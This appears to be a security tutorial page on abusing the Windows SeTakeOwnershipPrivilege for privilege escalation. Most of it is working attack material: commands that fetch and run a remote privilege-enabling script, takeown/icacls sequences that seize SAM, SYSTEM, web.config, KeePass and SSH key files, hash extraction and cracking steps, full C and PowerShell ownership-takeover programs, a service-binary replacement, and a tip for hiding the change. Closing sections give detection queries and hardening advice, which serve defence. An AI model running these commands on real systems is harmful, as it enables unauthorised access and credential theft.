SeTakeOwnershipPrivilege exploitation showing file ownership manipulation and registry takeover

SeTakeOwnershipPrivilege Exploitation

SeTakeOwnershipPrivilege exploitation in Windows — file ownership manipulation, registry takeover, and privilege escalation techniques.

Jan 15, 2026
Updated Dec 11, 2025
2 min read

Introduction

The SeTakeOwnershipPrivilege is a Windows user right that grants the ability to take ownership of any securable object in the system, including files, folders, registry keys, processes, services, and Active Directory objects. While less commonly exploited than some other dangerous privileges, SeTakeOwnershipPrivilege can be leveraged for privilege escalation, sensitive data exfiltration, and system compromise when properly understood and exploited.

Powerful But Subtle

Unlike privileges that provide immediate SYSTEM access, SeTakeOwnershipPrivilege requires understanding of Windows ownership, ACLs, and discretionary access control. When exploited correctly, it provides access to virtually any object on the system.

Understanding Windows Ownership and Security Descriptors

The Windows Security Model

Every securable object in Windows has a security descriptor containing:

  1. Owner SID: Security Identifier of the object's owner
  2. Primary Group SID: Primary group (mostly for POSIX compatibility)
  3. DACL (Discretionary Access Control List): Permissions granted or denied
  4. SACL (System Access Control List): Audit rules for the object

Ownership vs. Permissions

Key Distinction:

  • Permissions control what actions you can perform on an object (read, write, delete, etc.)
  • Ownership grants the implicit right to modify the object's permissions

Ownership Power

The owner of an object always has the implicit ability to modify the DACL, even if the DACL explicitly denies them access. This makes ownership a form of ultimate control over a securable object.

Normal Ownership Transfer Process

Under normal circumstances, ownership transfer is restricted:

  1. Administrators can take ownership of any object
  2. Users with WRITE_OWNER permission can transfer ownership
  3. Users with SeTakeOwnershipPrivilege can take ownership of any object

What SeTakeOwnershipPrivilege Grants

When a user has SeTakeOwnershipPrivilege enabled:

  • Can take ownership of any file or folder regardless of permissions
  • Can take ownership of registry keys and values
  • Can take ownership of processes and services
  • Can take ownership of Active Directory objects (in AD environments)
  • Ownership grants ability to modify permissions, enabling full access

Common Assignment Scenarios

Legitimate Use Cases

SeTakeOwnershipPrivilege is sometimes granted to non-administrative accounts for specific purposes:

  1. Backup Service Accounts

    • Need to access all files for backup operations
    • Often combined with SeBackupPrivilege and SeRestorePrivilege
    • Designed to avoid granting full administrative rights
  2. Content Management Systems

    • Web application service accounts managing file shares
    • Document management system service accounts
    • Content indexing and search services
  3. System Maintenance Accounts

    • Accounts used for file cleanup and archival
    • Automated maintenance scripts
    • Legacy system migrations
  4. Development and Testing

    • Developers needing to debug file permission issues
    • Test environments with relaxed security policies
    • Troubleshooting misconfigured permissions

Misconfiguration Risk

Organizations often grant SeTakeOwnershipPrivilege to avoid granting full administrator rights, believing it's a more secure "middle ground." In reality, this privilege can be nearly as dangerous as administrative access when exploited properly.

Group Policy Assignment Location

The privilege can be assigned through Group Policy:

  • Path: Computer ConfigurationWindows SettingsSecurity SettingsLocal PoliciesUser Rights AssignmentTake ownership of files or other objects

Enumeration and Discovery

Checking Current User Privileges

Step 1: Enumerate Privileges

Check if your current user context has SeTakeOwnershipPrivilege:

whoami /priv

Example Output:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                                Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                          Disabled

Disabled State

A privilege showing "Disabled" can still be enabled programmatically. The critical factor is whether the privilege appears in the list at all — if present, it can be leveraged.

Step 2: Enable the Privilege

Use PowerShell to enable SeTakeOwnershipPrivilege for your session:

# Download and import privilege enabler script
$url = "https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1"
iwr -Uri $url -OutFile EnableAllTokenPrivs.ps1
. .\EnableAllTokenPrivs.ps1

# Verify privilege is now enabled
whoami /priv

After Enabling:

Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enabled

Step 3: Identify High-Value Targets

Look for sensitive files and directories you cannot currently access:

# Attempt to list restricted directories
Get-ChildItem "C:\Department Shares\Private" -Recurse -ErrorAction SilentlyContinue

# Search for interesting file types
Get-ChildItem -Path C:\ -Include *.kdbx,*.key,*.pem,*.pfx,*.p12,*password*,*cred*,*secret* -Recurse -ErrorAction SilentlyContinue

# Check for files you don't have access to
Get-ChildItem "C:\Program Files" -Recurse | Where-Object {
    -not (Get-Acl $_.FullName).Access.IdentityReference.Value.Contains($env:USERNAME)
}

BloodHound Enumeration

In Active Directory environments, BloodHound can identify users and service accounts with SeTakeOwnershipPrivilege:

// Find users with SeTakeOwnershipPrivilege
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE u.name =~ ".*"
RETURN u.name, u.privilegeslist

// Find paths from owned user to sensitive files through privilege
MATCH p=(u:User {owned: true})-[r:MemberOf*1..]->(g:Group)-[:CanTakeOwnership]->(o:Object)
RETURN p

Exploitation Techniques

File System Exploitation

Taking Ownership of Sensitive Files

Using PowerShell ACL Objects

# Define target file
$targetFile = "C:\Department Shares\Private\IT\cred.txt"

# Get current ACL
$acl = Get-Acl $targetFile

# Create new owner (current user)
$owner = New-Object System.Security.Principal.NTAccount($env:USERNAME)

# Set ownership
$acl.SetOwner($owner)
Set-Acl -Path $targetFile -AclObject $acl

# Verify ownership changed
Get-Acl $targetFile | Select-Object Owner

Output:

Owner
-----
CORP\backupadmin

Grant Full Control:

# Modify ACL to grant yourself full control
$acl = Get-Acl $targetFile
$permission = "$env:USERDOMAIN\$env:USERNAME","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
Set-Acl -Path $targetFile -AclObject $acl

# Verify access
Get-Content $targetFile

Using Built-in takeown.exe Utility

The takeown command is a native Windows utility specifically designed for taking ownership:

# Take ownership of single file
takeown /f "C:\Department Shares\Private\IT\cred.txt"

# Take ownership recursively (directory and all contents)
takeown /f "C:\Department Shares\Private\IT" /r /d y

# Take ownership and suppress success messages
takeown /f "C:\Sensitive\passwords.txt" /a

Parameters:

  • /f: Specifies the file or directory
  • /r: Recursive operation
  • /d y: Automatically answer "yes" to prompts
  • /a: Give ownership to Administrators group instead of current user

Example Output:

SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "CORP\backupadmin".

Detection Risk

The takeown.exe utility is legitimate but uncommon in typical user workflows. EDR solutions may flag its usage, especially when targeting sensitive system directories.

Using icacls for Ownership and Permissions

icacls (Integrity Control Access Control Lists) provides fine-grained control:

# Take ownership
takeown /f "C:\Windows\System32\config\SAM"

# Grant yourself full control using icacls
icacls "C:\Windows\System32\config\SAM" /grant %USERNAME%:F

# Verify permissions
icacls "C:\Windows\System32\config\SAM"

Comprehensive Approach:

# 1. Take ownership
takeown /f "C:\Target\sensitive.txt"

# 2. Grant full control to current user
icacls "C:\Target\sensitive.txt" /grant %USERNAME%:F

# 3. Read the file
type "C:\Target\sensitive.txt"

# 4. (Optional) Restore original ownership to avoid detection
icacls "C:\Target\sensitive.txt" /setowner "NT SERVICE\TrustedInstaller"

Advanced icacls Usage:

# Remove inherited permissions
icacls "C:\Target\file.txt" /inheritance:r

# Grant specific permissions
icacls "C:\Target\file.txt" /grant %USERNAME%:(R,W,D)

# Reset permissions to defaults
icacls "C:\Target\file.txt" /reset

Programmatic Ownership with C/C++

For stealth and automation, use Windows API directly:

#include <windows.h>
#include <aclapi.h>
#include <stdio.h>

BOOL TakeOwnership(LPCTSTR lpszOwnFile) {
    BOOL bRetval = FALSE;
    HANDLE hToken = NULL;
    PSID pSIDAdmin = NULL;
    PSID pSIDEveryone = NULL;
    PACL pACL = NULL;
    SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
    SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
    const int NUM_ACES = 2;
    EXPLICIT_ACCESS ea[NUM_ACES];
    DWORD dwRes;

    // Enable SeTakeOwnershipPrivilege
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        printf("OpenProcessToken failed: %d\n", GetLastError());
        goto Cleanup;
    }

    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid)) {
        printf("LookupPrivilegeValue failed: %d\n", GetLastError());
        goto Cleanup;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        printf("AdjustTokenPrivileges failed: %d\n", GetLastError());
        goto Cleanup;
    }

    // Get current user SID
    DWORD dwSIDSize = 0;
    DWORD dwDomainSize = 0;
    SID_NAME_USE sidType;
    TCHAR szUserName[256];
    DWORD dwUserNameSize = 256;

    GetUserName(szUserName, &dwUserNameSize);

    LookupAccountName(NULL, szUserName, NULL, &dwSIDSize, NULL, &dwDomainSize, &sidType);

    PSID pSIDUser = (PSID)malloc(dwSIDSize);
    LPTSTR szDomain = (LPTSTR)malloc(dwDomainSize * sizeof(TCHAR));

    if (!LookupAccountName(NULL, szUserName, pSIDUser, &dwSIDSize, szDomain, &dwDomainSize, &sidType)) {
        printf("LookupAccountName failed: %d\n", GetLastError());
        goto Cleanup;
    }

    // Take ownership
    dwRes = SetNamedSecurityInfo(
        (LPTSTR)lpszOwnFile,
        SE_FILE_OBJECT,
        OWNER_SECURITY_INFORMATION,
        pSIDUser,
        NULL,
        NULL,
        NULL
    );

    if (dwRes != ERROR_SUCCESS) {
        printf("SetNamedSecurityInfo failed: %d\n", dwRes);
        goto Cleanup;
    }

    printf("[+] Successfully took ownership of: %s\n", lpszOwnFile);

    // Grant full control to current user
    ZeroMemory(&ea, NUM_ACES * sizeof(EXPLICIT_ACCESS));

    ea[0].grfAccessPermissions = GENERIC_ALL;
    ea[0].grfAccessMode = SET_ACCESS;
    ea[0].grfInheritance = NO_INHERITANCE;
    ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
    ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea[0].Trustee.ptstrName = (LPTSTR)pSIDUser;

    dwRes = SetEntriesInAcl(1, ea, NULL, &pACL);
    if (dwRes != ERROR_SUCCESS) {
        printf("SetEntriesInAcl failed: %d\n", dwRes);
        goto Cleanup;
    }

    dwRes = SetNamedSecurityInfo(
        (LPTSTR)lpszOwnFile,
        SE_FILE_OBJECT,
        DACL_SECURITY_INFORMATION,
        NULL,
        NULL,
        pACL,
        NULL
    );

    if (dwRes != ERROR_SUCCESS) {
        printf("SetNamedSecurityInfo (DACL) failed: %d\n", dwRes);
        goto Cleanup;
    }

    printf("[+] Successfully granted full control\n");
    bRetval = TRUE;

Cleanup:
    if (pSIDAdmin) FreeSid(pSIDAdmin);
    if (pSIDEveryone) FreeSid(pSIDEveryone);
    if (pACL) LocalFree(pACL);
    if (hToken) CloseHandle(hToken);

    return bRetval;
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <file_path>\n", argv[0]);
        return 1;
    }

    if (TakeOwnership(argv[1])) {
        printf("[+] Operation completed successfully\n");
        return 0;
    } else {
        printf("[-] Operation failed\n");
        return 1;
    }
}

Targeting High-Value Files

SAM and SYSTEM Registry Hives

The Security Account Manager (SAM) database contains local user password hashes.

Location:

C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM

Exploitation:

# Take ownership of SAM and SYSTEM files
takeown /f C:\Windows\System32\config\SAM
takeown /f C:\Windows\System32\config\SYSTEM

# Grant read access
icacls C:\Windows\System32\config\SAM /grant %USERNAME%:F
icacls C:\Windows\System32\config\SYSTEM /grant %USERNAME%:F

# Copy to accessible location
copy C:\Windows\System32\config\SAM C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# Extract hashes using impacket-secretsdump
secretsdump.py -sam SAM -system SYSTEM LOCAL

File Locking

SAM and SYSTEM files are locked while Windows is running. You may need to:

  • Access Volume Shadow Copies
  • Boot from alternate OS
  • Use backup/restore privileges
  • Access repair copies in C:\Windows\Repair

Web Application Configuration Files

Web.config files often contain database credentials, API keys, and connection strings.

Common Locations:

C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\<app_name>\web.config
C:\Program Files\<application>\config\

Exploitation:

# Take ownership of web.config
takeown /f "C:\inetpub\wwwroot\web.config"
icacls "C:\inetpub\wwwroot\web.config" /grant %USERNAME%:F

# Read sensitive data
Get-Content "C:\inetpub\wwwroot\web.config" | Select-String -Pattern "password|connectionString|apiKey"

Example Sensitive Data:

<connectionStrings>
  <add name="DefaultConnection"
       connectionString="Server=sql01;Database=ProductionDB;User Id=sa;Password=P@ssw0rd123!;"
       providerName="System.Data.SqlClient" />
</connectionStrings>

<appSettings>
  <add key="APIKey" value="sk-proj-abc123xyz789" />
  <add key="SecretKey" value="a8f5f167f44f4964e6c998dee827110c" />
</appSettings>

KeePass Database Files

Password manager databases are high-value targets.

Search for KeePass Files:

# Search entire C: drive for KeePass databases
Get-ChildItem -Path C:\ -Include *.kdbx -Recurse -ErrorAction SilentlyContinue

# Common locations
$locations = @(
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Desktop",
    "$env:USERPROFILE\OneDrive",
    "C:\Users\*\Documents",
    "\\fileserver\shares\IT"
)

foreach ($location in $locations) {
    Get-ChildItem -Path $location -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
}

Take Ownership and Extract:

$kdbxPath = "C:\Users\admin\Documents\passwords.kdbx"

# Take ownership
takeown /f $kdbxPath
icacls $kdbxPath /grant %USERNAME%:F

# Copy to your location
Copy-Item $kdbxPath -Destination C:\Temp\loot\passwords.kdbx

# Attempt to crack with hashcat (requires extracting hash first)
keepass2john passwords.kdbx > keepass.hash
hashcat -m 13400 keepass.hash wordlist.txt

SSH Private Keys and Certificates

Private keys provide authentication to remote systems without passwords.

Search for Keys:

# Find SSH private keys
Get-ChildItem -Path C:\Users -Include id_rsa,id_dsa,id_ecdsa,id_ed25519,*.pem,*.key -Recurse -ErrorAction SilentlyContinue

# Common locations
$sshLocations = @(
    "$env:USERPROFILE\.ssh",
    "C:\Users\*\.ssh",
    "C:\ProgramData\ssh",
    "C:\Keys"
)

foreach ($loc in $sshLocations) {
    Get-ChildItem -Path $loc -Recurse -ErrorAction SilentlyContinue | Where-Object {
        $_.Extension -in @(".pem", ".key", "") -and $_.Name -notlike "*.pub"
    }
}

Exploit Found Keys:

# Take ownership
takeown /f "C:\Users\admin\.ssh\id_rsa"
icacls "C:\Users\admin\.ssh\id_rsa" /grant %USERNAME%:F

# Copy and use
Copy-Item "C:\Users\admin\.ssh\id_rsa" -Destination C:\Temp\id_rsa

# On Linux attack system
chmod 600 id_rsa
ssh -i id_rsa [email protected]

Registry Exploitation

Windows Registry contains sensitive configuration, credentials, and system settings.

Taking Ownership of Registry Keys

Using reg.exe Command

While reg.exe doesn't have a direct "take ownership" command, you can use takeown and icacls equivalents:

# Enable registry key access via takeown (doesn't work directly on registry)
# Instead, use PowerShell or specialized tools

# Grant permissions using reg.exe
reg add "HKLM\SAM\SAM" /v TestValue /t REG_SZ /d "test" /f
# This will fail without ownership

Limitation

The reg.exe utility doesn't support taking ownership directly. Use PowerShell or specialized registry tools for ownership changes.

PowerShell Registry Ownership

# Function to take registry key ownership
function Set-RegistryKeyOwner {
    param(
        [string]$RegistryPath,
        [string]$Owner = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
    )

    # Enable SeTakeOwnershipPrivilege
    $import = '[DllImport("ntdll.dll", SetLastError = true)]
    public static extern int RtlAdjustPrivilege(ulong Privilege, bool Enable, bool CurrentThread, ref bool Enabled);'

    $ntdll = Add-Type -MemberDefinition $import -Name NtDll -Namespace Win32 -PassThru
    $privileges = @{
        SeTakeOwnership = 9
    }

    $enabled = $false
    [void]$ntdll::RtlAdjustPrivilege($privileges.SeTakeOwnership, $true, $false, [ref]$enabled)

    # Convert registry path to .NET format
    if ($RegistryPath -match '^HKLM\\') {
        $path = "HKEY_LOCAL_MACHINE\" + ($RegistryPath -replace '^HKLM\\', '')
    } elseif ($RegistryPath -match '^HKCU\\') {
        $path = "HKEY_CURRENT_USER\" + ($RegistryPath -replace '^HKCU\\', '')
    } else {
        $path = $RegistryPath
    }

    try {
        # Open registry key with take ownership access
        $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
            ($path -replace '^HKEY_LOCAL_MACHINE\\', ''),
            [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
            [System.Security.AccessControl.RegistryRights]::TakeOwnership
        )

        # Get current ACL
        $acl = $key.GetAccessControl()

        # Set new owner
        $ownerSid = (New-Object System.Security.Principal.NTAccount($Owner)).Translate([System.Security.Principal.SecurityIdentifier])
        $acl.SetOwner($ownerSid)
        $key.SetAccessControl($acl)

        Write-Host "[+] Successfully took ownership of: $RegistryPath" -ForegroundColor Green

        # Grant full control
        $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
            ($path -replace '^HKEY_LOCAL_MACHINE\\', ''),
            [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
            [System.Security.AccessControl.RegistryRights]::ChangePermissions
        )

        $acl = $key.GetAccessControl()
        $rule = New-Object System.Security.AccessControl.RegistryAccessRule(
            $Owner,
            [System.Security.AccessControl.RegistryRights]::FullControl,
            [System.Security.AccessControl.InheritanceFlags]::ContainerInherit -bor [System.Security.AccessControl.InheritanceFlags]::ObjectInherit,
            [System.Security.AccessControl.PropagationFlags]::None,
            [System.Security.AccessControl.AccessControlType]::Allow
        )
        $acl.SetAccessRule($rule)
        $key.SetAccessControl($acl)

        Write-Host "[+] Successfully granted full control" -ForegroundColor Green

    } catch {
        Write-Host "[-] Error: $_" -ForegroundColor Red
    }
}

# Example usage
Set-RegistryKeyOwner -RegistryPath "HKLM\SAM\SAM"

Simplified Approach:

# Take ownership of SAM registry key
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
    "SAM\SAM",
    [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
    [System.Security.AccessControl.RegistryRights]::TakeOwnership
)

$acl = $key.GetAccessControl()
$me = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$owner = New-Object System.Security.Principal.NTAccount($me)
$acl.SetOwner($owner)
$key.SetAccessControl($acl)

Using RegOwnershipEx (Sysinternals Style)

Custom tool for registry ownership (conceptual):

#include <windows.h>
#include <aclapi.h>
#include <stdio.h>

BOOL TakeRegistryKeyOwnership(HKEY hRootKey, LPCTSTR lpSubKey) {
    HKEY hKey;
    DWORD dwRes;
    PSID pSIDUser = NULL;
    PACL pNewDACL = NULL;
    EXPLICIT_ACCESS ea;

    // Enable SeTakeOwnershipPrivilege
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        return FALSE;
    }

    if (!LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    CloseHandle(hToken);

    // Open registry key with WRITE_OWNER access
    dwRes = RegOpenKeyEx(hRootKey, lpSubKey, 0, WRITE_OWNER, &hKey);
    if (dwRes != ERROR_SUCCESS) {
        printf("[-] RegOpenKeyEx failed: %d\n", dwRes);
        return FALSE;
    }

    // Get current user SID
    TCHAR szUserName[256];
    DWORD dwUserNameSize = 256;
    GetUserName(szUserName, &dwUserNameSize);

    DWORD dwSIDSize = 0;
    DWORD dwDomainSize = 0;
    SID_NAME_USE sidType;

    LookupAccountName(NULL, szUserName, NULL, &dwSIDSize, NULL, &dwDomainSize, &sidType);

    pSIDUser = (PSID)malloc(dwSIDSize);
    LPTSTR szDomain = (LPTSTR)malloc(dwDomainSize * sizeof(TCHAR));

    LookupAccountName(NULL, szUserName, pSIDUser, &dwSIDSize, szDomain, &dwDomainSize, &sidType);

    // Take ownership
    dwRes = SetSecurityInfo(
        hKey,
        SE_REGISTRY_KEY,
        OWNER_SECURITY_INFORMATION,
        pSIDUser,
        NULL,
        NULL,
        NULL
    );

    if (dwRes != ERROR_SUCCESS) {
        printf("[-] SetSecurityInfo (owner) failed: %d\n", dwRes);
        RegCloseKey(hKey);
        return FALSE;
    }

    printf("[+] Successfully took ownership\n");

    // Grant full control
    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = KEY_ALL_ACCESS;
    ea.grfAccessMode = SET_ACCESS;
    ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = (LPTSTR)pSIDUser;

    dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDACL);
    if (dwRes != ERROR_SUCCESS) {
        printf("[-] SetEntriesInAcl failed: %d\n", dwRes);
        RegCloseKey(hKey);
        return FALSE;
    }

    // Reopen with WRITE_DAC
    RegCloseKey(hKey);
    dwRes = RegOpenKeyEx(hRootKey, lpSubKey, 0, WRITE_DAC, &hKey);
    if (dwRes != ERROR_SUCCESS) {
        LocalFree(pNewDACL);
        return FALSE;
    }

    dwRes = SetSecurityInfo(
        hKey,
        SE_REGISTRY_KEY,
        DACL_SECURITY_INFORMATION,
        NULL,
        NULL,
        pNewDACL,
        NULL
    );

    if (dwRes != ERROR_SUCCESS) {
        printf("[-] SetSecurityInfo (DACL) failed: %d\n", dwRes);
        RegCloseKey(hKey);
        LocalFree(pNewDACL);
        return FALSE;
    }

    printf("[+] Successfully granted full control\n");

    RegCloseKey(hKey);
    if (pNewDACL) LocalFree(pNewDACL);

    return TRUE;
}

int main() {
    if (TakeRegistryKeyOwnership(HKEY_LOCAL_MACHINE, "SAM\\SAM")) {
        printf("[+] Registry key ownership changed successfully\n");
    } else {
        printf("[-] Failed to change registry key ownership\n");
    }
    return 0;
}

High-Value Registry Targets

SAM Registry Key:

HKLM\SAM\SAM\Domains\Account\Users

Contains local user account hashes.

LSA Secrets:

HKLM\SECURITY\Policy\Secrets

Contains:

  • Service account passwords
  • Auto-logon credentials
  • VPN credentials
  • Scheduled task credentials

Cached Domain Credentials:

HKLM\SECURITY\Cache

Contains cached domain logon credentials (DCC/DCC2 hashes).

Wi-Fi Passwords:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles

Service and Process Manipulation

Taking ownership of services and their executables can lead to privilege escalation.

Step 1: Identify Service Binary Path

# List all services and their binary paths
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, State

# Find services running as SYSTEM
Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq "LocalSystem"} | Select-Object Name, PathName

Step 2: Take Ownership of Service Executable

$servicePath = "C:\Program Files\VulnerableService\service.exe"

# Take ownership
takeown /f $servicePath
icacls $servicePath /grant %USERNAME%:F

Step 3: Replace Service Binary

# Backup original
Copy-Item $servicePath -Destination "$servicePath.bak"

# Replace with malicious binary
Copy-Item C:\Temp\malicious.exe -Destination $servicePath -Force

# Restart service
Restart-Service -Name "VulnerableService"

Step 4: Execute as SYSTEM

When the service starts, your malicious binary executes as SYSTEM.

Service Disruption

Replacing service binaries can cause system instability and service failures. This is a destructive action that should only be performed in controlled test environments or with explicit authorization.

Detection and Monitoring

Event Log Monitoring

Event ID 4656: Handle to Object Requested (Ownership)

This event logs when a handle with WRITE_OWNER access is requested.

Detection Query:

SecurityEvent
| where EventID == 4656
| where AccessMask contains "0x80000"  // WRITE_OWNER
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where ObjectType in ("File", "Key")
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ObjectType, AccessMask, ProcessName
| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
    by SubjectUserName, ObjectName, ProcessName
| where Count > 5 or ObjectName contains "SAM" or ObjectName contains "SYSTEM" or ObjectName contains "SECURITY"

High-Value Targets to Alert On:

  • C:\Windows\System32\config\SAM
  • C:\Windows\System32\config\SYSTEM
  • HKLM\SAM\SAM
  • HKLM\SECURITY
  • Any file under C:\Windows\System32\

Event ID 4670: Permissions on an Object Changed

Logged when DACL or ownership of an object changes.

Detection Logic:

SecurityEvent
| where EventID == 4670
| extend ObjectType = tostring(parse_json(EventData).ObjectType)
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend SubjectUserName = tostring(parse_json(EventData).SubjectUserName)
| extend OldOwner = tostring(parse_json(EventData).OldSd)
| extend NewOwner = tostring(parse_json(EventData).NewSd)
| where SubjectUserName !endswith "$"
| where ObjectName contains "config" or ObjectName contains "SAM" or ObjectName contains "SYSTEM"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ObjectType, OldOwner, NewOwner

Alert Criteria:

  • Ownership changes on system files
  • Multiple ownership changes in short time period
  • Ownership changes followed by file access or modification

Event ID 4672: Special Privileges Assigned (SeTakeOwnershipPrivilege)

Generated when a user logs on and is assigned SeTakeOwnershipPrivilege.

Query:

SecurityEvent
| where EventID == 4672
| where PrivilegeList contains "SeTakeOwnershipPrivilege"
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where SubjectUserName !endswith "$"
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName, LogonID, PrivilegeList
| join kind=inner (
    SecurityEvent
    | where EventID == 4656
    | where AccessMask contains "0x80000"
    | project ObjectAccessTime=TimeGenerated, Computer, LogonID=SubjectLogonId, ObjectName
) on Computer, LogonID
| where ObjectAccessTime between (TimeGenerated .. (TimeGenerated + 1h))

Process Creation Monitoring (Event ID 4688)

Monitor for takeown.exe and icacls.exe usage.

Detection Query:

SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\takeown.exe" or NewProcessName endswith "\\icacls.exe"
| extend CommandLine = tostring(parse_json(EventData).CommandLine)
| where CommandLine contains "SAM" or CommandLine contains "SYSTEM" or CommandLine contains "config" or CommandLine contains "/grant"
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessName

Suspicious Patterns:

  • takeown.exe targeting system directories
  • icacls.exe with /grant on sensitive files
  • Multiple sequential takeown/icacls operations
  • Execution from non-administrative user accounts

Behavioral Analytics

Anomalous Access Patterns:

  1. Time-based Anomalies

    • File ownership changes outside business hours
    • Batch ownership operations (multiple files in short time)
    • Ownership changes followed immediately by file reads
  2. User-based Anomalies

    • Service accounts taking ownership of user files
    • Standard users modifying system file ownership
    • External/contractor accounts changing sensitive file ownership
  3. Object-based Anomalies

    • Ownership changes on rarely-modified system files
    • Registry key ownership changes in sensitive hives
    • Ownership transfer followed by permission modification

Example Advanced Detection:

// Detect ownership + modification + potential exfiltration pattern
let OwnershipChanges = SecurityEvent
| where EventID == 4670
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend Actor = tostring(parse_json(EventData).SubjectUserName)
| project OwnershipTime=TimeGenerated, Computer, Actor, ObjectName;

let FileAccess = SecurityEvent
| where EventID == 4663
| where AccessMask contains "0x1"  // READ_DATA
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend Actor = tostring(parse_json(EventData).SubjectUserName)
| project AccessTime=TimeGenerated, Computer, Actor, ObjectName;

let NetworkConnections = NetworkConnectionEvents
| where RemotePort !in (80, 443, 445, 3389, 53)
| project ConnTime=TimeGenerated, Computer, LocalUser, RemoteIP, RemotePort, BytesSent;

OwnershipChanges
| join kind=inner FileAccess on Computer, Actor, ObjectName
| where AccessTime between (OwnershipTime .. (OwnershipTime + 10m))
| join kind=inner NetworkConnections on $left.Computer == $right.Computer and $left.Actor == $right.LocalUser
| where ConnTime between (AccessTime .. (AccessTime + 30m))
| where BytesSent > 1000000  // More than 1MB sent
| project OwnershipTime, AccessTime, ConnTime, Computer, Actor, ObjectName, RemoteIP, RemotePort, BytesSent
| summarize
    ObjectCount = dcount(ObjectName),
    TotalBytesSent = sum(BytesSent),
    RemoteIPs = make_set(RemoteIP)
    by Computer, Actor
| where ObjectCount > 3 or TotalBytesSent > 10000000

Mitigation and Hardening

Principle of Least Privilege

Step 1: Audit Current Assignments

# Export current security policy
secedit /export /areas USER_RIGHTS /cfg C:\Temp\security_policy.txt

# Review SeTakeOwnershipPrivilege assignments
Get-Content C:\Temp\security_policy.txt | Select-String "SeTakeOwnershipPrivilege"

# Check via Group Policy Results
gpresult /h C:\Temp\gp_report.html
# Open report and search for "Take ownership"

Step 2: Remove Unnecessary Assignments

# Remove SeTakeOwnershipPrivilege from specific user
secedit /configure /db reset.sdb /cfg C:\Temp\security_policy.txt /areas USER_RIGHTS

# Via Group Policy:
# Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment
# Open "Take ownership of files or other objects"
# Remove all entries except Administrators group (if required)

Step 3: Implement Just-In-Time Access

For legitimate use cases requiring SeTakeOwnershipPrivilege:

  1. Create Restricted Security Group: TakeOwnership_JIT
  2. Configure Time-Limited Membership: Use PowerShell or identity management tools
  3. Implement Approval Workflow: Require manager approval for group membership
  4. Enable Logging: Capture all uses of the privilege
  5. Automatic Expiration: Remove membership after 4 hours

Example JIT Implementation:

